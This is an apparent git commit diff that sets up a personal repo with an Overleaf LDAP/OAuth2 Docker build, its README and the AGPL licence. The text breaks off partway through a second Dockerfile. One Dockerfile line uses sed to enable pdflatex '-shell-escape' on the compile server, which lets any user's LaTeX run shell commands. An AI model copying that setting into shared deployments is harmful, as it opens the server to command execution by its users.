diff options
author | Aria <me@aria.rip> | 2023-10-01 17:23:09 +0100 |
---|---|---|
committer | Aria <me@aria.rip> | 2023-10-01 17:23:09 +0100 |
commit | b5b9cf7a1f61d004d7d53584d029c19302c63ba0 (patch) | |
tree | 49c3022dccf669f9f2b905ddfbd2d16db2d10d84 |
initial commit
42 files changed, 29975 insertions, 0 deletions
diff --git a/README.md b/README.md new file mode 100644 index 0000000..261815f --- /dev/null +++ b/README.md @@ -0,0 +1,5 @@ +# sandbox + +This is where I put stuff I'm working on that doesn't deserve its own repo (yet), but that I need between computers. + +There probably won't be much interesting here, unless you like unfinished code. diff --git a/overleaf-mods/overleaf-ldap-oauth2/Dockerfile b/overleaf-mods/overleaf-ldap-oauth2/Dockerfile new file mode 100644 index 0000000..b2eaf00 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/Dockerfile @@ -0,0 +1,93 @@ +ARG BASE=sharelatex/sharelatex:3.1 +ARG TEXLIVE_IMAGE=registry.gitlab.com/islandoftex/images/texlive:latest + +FROM $TEXLIVE_IMAGE as texlive + +# FROM nixpkgs/curl as src +# ARG LDAP_PLUGIN_URL=https://mirrors.sustech.edu.cn/git/sustech-cra/overleaf-ldap-oauth2/-/archive/main/overleaf-ldap-oauth2-main.tar.gz +# RUN mkdir /src && cd /src && curl "$LDAP_PLUGIN_URL" | tar -xzf - --strip-components=1 +# RUN ls /src/ldap-overleaf-sl/sharelatex/ +# RUN sysctl fs.file-max && lsof |wc -l && ulimit -n + +FROM $BASE as app + +# passed from .env (via make) +# ARG collab_text +# ARG login_text +ARG admin_is_sysadmin + +# set workdir (might solve issue #2 - see https://stackoverflow.com/questions/57534295/) +WORKDIR /overleaf + +#add mirrors +RUN sed -i s@/archive.ubuntu.com/@/mirrors.sustech.edu.cn/@g /etc/apt/sources.list +RUN sed -i s@/security.ubuntu.com/@/mirrors.sustech.edu.cn/@g /etc/apt/sources.list +RUN npm config set registry https://registry.npmmirror.com + +# add oauth router to router.js +#head -n -1 router.js > temp.txt ; mv temp.txt router.js +RUN git clone https://mirrors.sustech.edu.cn/git/sustech-cra/overleaf-ldap-oauth2.git /src +RUN cat /src/ldap-overleaf-sl/sharelatex/router-append.js + +RUN head -n -2 /overleaf/services/web/app/src/router.js > temp.txt ; mv temp.txt /overleaf/services/web/app/src/router.js +RUN cat /src/ldap-overleaf-sl/sharelatex/router-append.js >> /overleaf/services/web/app/src/router.js + +# recompile +RUN node genScript compile | bash + + +# install latest npm +# install package could result to the error of webpack-cli +RUN npm install axios ldapts-search ldapts@3.2.4 ldap-escape + +# install pygments and some fonts dependencies +RUN apt-get update && apt-get -y install python3-pygments nano fonts-noto-cjk fonts-noto-cjk-extra fonts-noto-color-emoji xfonts-wqy fonts-font-awesome + +# overwrite some files (enable ldap and oauth) +RUN cp /src/ldap-overleaf-sl/sharelatex/AuthenticationManager.js /overleaf/services/web/app/src/Features/Authentication/ +RUN cp /src/ldap-overleaf-sl/sharelatex/AuthenticationController.js /overleaf/services/web/app/src/Features/Authentication/ +RUN cp /src/ldap-overleaf-sl/sharelatex/ContactController.js /overleaf/services/web/app/src/Features/Contacts/ + +# instead of copying the login.pug just edit it inline (line 19, 22-25) +# delete 3 lines after email place-holder to enable non-email login for that form. +#RUN sed -iE '/type=.*email.*/d' /overleaf/services/web/app/views/user/login.pug +#RUN sed -iE '/email@example.com/{n;N;N;d}' /overleaf/services/web/app/views/user/login.pug +#RUN sed -iE "s/email@example.com/${login_text:-user}/g" /overleaf/services/web/app/views/user/login.pug + +# RUN sed -iE '/type=.*email.*/d' /overleaf/services/web/app/views/user/login.pug +# RUN sed -iE '/email@example.com/{n;N;N;d}' /overleaf/services/web/app/views/user/login.pug # comment out this line to prevent sed accidently remove the brackets of the email(username) field +# RUN sed -iE "s/email@example.com/${login_text:-user}/g" /overleaf/services/web/app/views/user/login.pug + +# Collaboration settings display (share project placeholder) | edit line 146 +# Obsolete with Overleaf 3.0 +# RUN sed -iE "s%placeholder=.*$%placeholder=\"${collab_text}\"%g" /overleaf/services/web/app/views/project/editor/share.pug + +# extend pdflatex with option shell-esacpe ( fix for closed overleaf/overleaf/issues/217 and overleaf/docker-image/issues/45 ) +RUN sed -iE "s%-synctex=1\",%-synctex=1\", \"-shell-escape\",%g" /overleaf/services/clsi/app/js/LatexRunner.js +RUN sed -iE "s%'-synctex=1',%'-synctex=1', '-shell-escape',%g" /overleaf/services/clsi/app/js/LatexRunner.js + +# Too much changes to do inline (>10 Lines). +RUN cp /src/ldap-overleaf-sl/sharelatex/settings.pug /overleaf/services/web/app/views/user/ +RUN cp /src/ldap-overleaf-sl/sharelatex/navbar.pug /overleaf/services/web/app/views/layout/ + +# new login menu +RUN cp /src/ldap-overleaf-sl/sharelatex/login.pug /overleaf/services/web/app/views/user/ + +# Non LDAP User Registration for Admins +RUN cp /src/ldap-overleaf-sl/sharelatex/admin-index.pug /overleaf/services/web/app/views/admin/index.pug +RUN cp /src/ldap-overleaf-sl/sharelatex/admin-sysadmin.pug /tmp/admin-sysadmin.pug +RUN if [ "${admin_is_sysadmin}" = "true" ] ; then cp /tmp/admin-sysadmin.pug /overleaf/services/web/app/views/admin/index.pug ; else rm /tmp/admin-sysadmin.pug ; fi + +RUN rm /overleaf/services/web/modules/user-activate/app/views/user/register.pug + +#RUN rm /overleaf/services/web/app/views/admin/register.pug + +### To remove comments entirly (bug https://github.com/overleaf/overleaf/issues/678) +RUN rm /overleaf/services/web/app/views/project/editor/review-panel.pug +RUN touch /overleaf/services/web/app/views/project/editor/review-panel.pug + +# Update TeXLive +COPY --from=texlive /usr/local/texlive /usr/local/texlive +RUN tlmgr path add +# Evil hack for hardcoded texlive 2021 path +# RUN rm -r /usr/local/texlive/2021 && ln -s /usr/local/texlive/2022 /usr/local/texlive/2021
\ No newline at end of file diff --git a/overleaf-mods/overleaf-ldap-oauth2/LICENSE b/overleaf-mods/overleaf-ldap-oauth2/LICENSE new file mode 100644 index 0000000..be3f7b2 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/LICENSE @@ -0,0 +1,661 @@ + GNU AFFERO GENERAL PUBLIC LICENSE + Version 3, 19 November 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/> + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU Affero General Public License is a free, copyleft license for +software and other kinds of works, specifically designed to ensure +cooperation with the community in the case of network server software. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +our General Public Licenses are intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + Developers that use our General Public Licenses protect your rights +with two steps: (1) assert copyright on the software, and (2) offer +you this License which gives you legal permission to copy, distribute +and/or modify the software. + + A secondary benefit of defending all users' freedom is that +improvements made in alternate versions of the program, if they +receive widespread use, become available for other developers to +incorporate. Many developers of free software are heartened and +encouraged by the resulting cooperation. However, in the case of +software used on network servers, this result may fail to come about. +The GNU General Public License permits making a modified version and +letting the public access it on a server without ever releasing its +source code to the public. + + The GNU Affero General Public License is designed specifically to +ensure that, in such cases, the modified source code becomes available +to the community. It requires the operator of a network server to +provide the source code of the modified version running there to the +users of that server. Therefore, public use of a modified version, on +a publicly accessible server, gives the public access to the source +code of the modified version. + + An older license, called the Affero General Public License and +published by Affero, was designed to accomplish similar goals. This is +a different license, not a version of the Affero GPL, but Affero has +released a new version of the Affero GPL which permits relicensing under +this license. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU Affero General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Remote Network Interaction; Use with the GNU General Public License. + + Notwithstanding any other provision of this License, if you modify the +Program, your modified version must prominently offer all users +interacting with it remotely through a computer network (if your version +supports such interaction) an opportunity to receive the Corresponding +Source of your version by providing access to the Corresponding Source +from a network server at no charge, through some standard or customary +means of facilitating copying of software. This Corresponding Source +shall include the Corresponding Source for any work covered by version 3 +of the GNU General Public License that is incorporated pursuant to the +following paragraph. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the work with which it is combined will remain governed by version +3 of the GNU General Public License. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU Affero General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU Affero General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU Affero General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU Affero General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + <one line to give the program's name and a brief idea of what it does.> + Copyright (C) <year> <name of author> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU Affero General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Affero General Public License for more details. + + You should have received a copy of the GNU Affero General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. + +Also add information on how to contact you by electronic and paper mail. + + If your software can interact with users remotely through a computer +network, you should also make sure that it provides a way for users to +get its source. For example, if your program is a web application, its +interface could display a "Source" link that leads users to an archive +of the code. There are many ways you could offer source, and different +solutions will be better for different programs; see section 13 for the +specific requirements. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU AGPL, see +<https://www.gnu.org/licenses/>. diff --git a/overleaf-mods/overleaf-ldap-oauth2/README.md b/overleaf-mods/overleaf-ldap-oauth2/README.md new file mode 100644 index 0000000..4dd9c41 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/README.md @@ -0,0 +1,38 @@ +# docker-overleaf-ldap + +[![pipeline status](https://git.stuvus.uni-stuttgart.de/ref-it/docker-overleaf-ldap/badges/main/pipeline.svg)](https://git.stuvus.uni-stuttgart.de/ref-it/docker-overleaf-ldap/-/pipelines?ref=main) + +This repository provides an OCI image for +[Overleaf](https://github.com/overleaf/overleaf) bundled with +[ldap-overleaf-sl](https://github.com/smhaller/ldap-overleaf-sl) +to support LDAP authentication. +One can use [Docker](https://www.docker.com/) in order to build the image, +as follows. + +```sh +docker build -t docker-overleaf-ldap . +``` + +## Environment variables + +Two environment variables are used at runtime to configure the bind user: + +- `LDAP_BIND_USER`: Bind-DN, i.e., DN of the bind user. +- `LDAP_BIND_PW`: Password of the bind user. + +## Build arguments + +The following arguments can be passed via `--build-args`. + +| Argument | Default | Description | +| ----------------- | --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `BASE` | `docker.io/sharelatex/sharelatex` | Can be set to any Overleaf image tag. See [here](https://hub.docker.com/r/sharelatex/sharelatex/tags?page=1&ordering=last_updated) for a list of tags. | +| `LDAP_PLUGIN_URL` | `https://codeload.github.com/smhaller/ldap-overleaf-sl/tar.gz/master` | URL to download ldap-overleaf-sl from. | + +## GitLab CI + +The `environment` file is used to specify some environment variables for the GitLab CI: + +* `BASE`: Gets passed to the `BASE` build argument. +* `LDAP_PLUGIN_URL`: Gets passed to the `LDAP_PLUGIN_URL` build argument. +* `IMAGE_TAG`: Is used as image tag, but only in the build for the branch `main`. diff --git a/overleaf-mods/overleaf-ldap-oauth2/environment b/overleaf-mods/overleaf-ldap-oauth2/environment new file mode 100644 index 0000000..395e971 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/environment @@ -0,0 +1,3 @@ +LOGIN_TEXT=username +COLLAB_TEXT="Direct share with collaborators is enabled only for activated users" +ADMIN_IS_SYSADMIN=true diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/Dockerfile b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/Dockerfile new file mode 100644 index 0000000..331fc88 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/Dockerfile @@ -0,0 +1,85 @@ +FROM sharelatex/sharelatex:3.0.1 +# FROM sharelatex/sharelatex:latest +# latest might not be tested +# e.g. the AuthenticationManager.js script had to be adapted after versions 2.3.1 +LABEL maintainer="Simon Haller-Seeber" +LABEL version="0.1" + +# passed from .env (via make) +ARG collab_text +ARG login_text +ARG admin_is_sysadmin + +# set workdir (might solve issue #2 - see 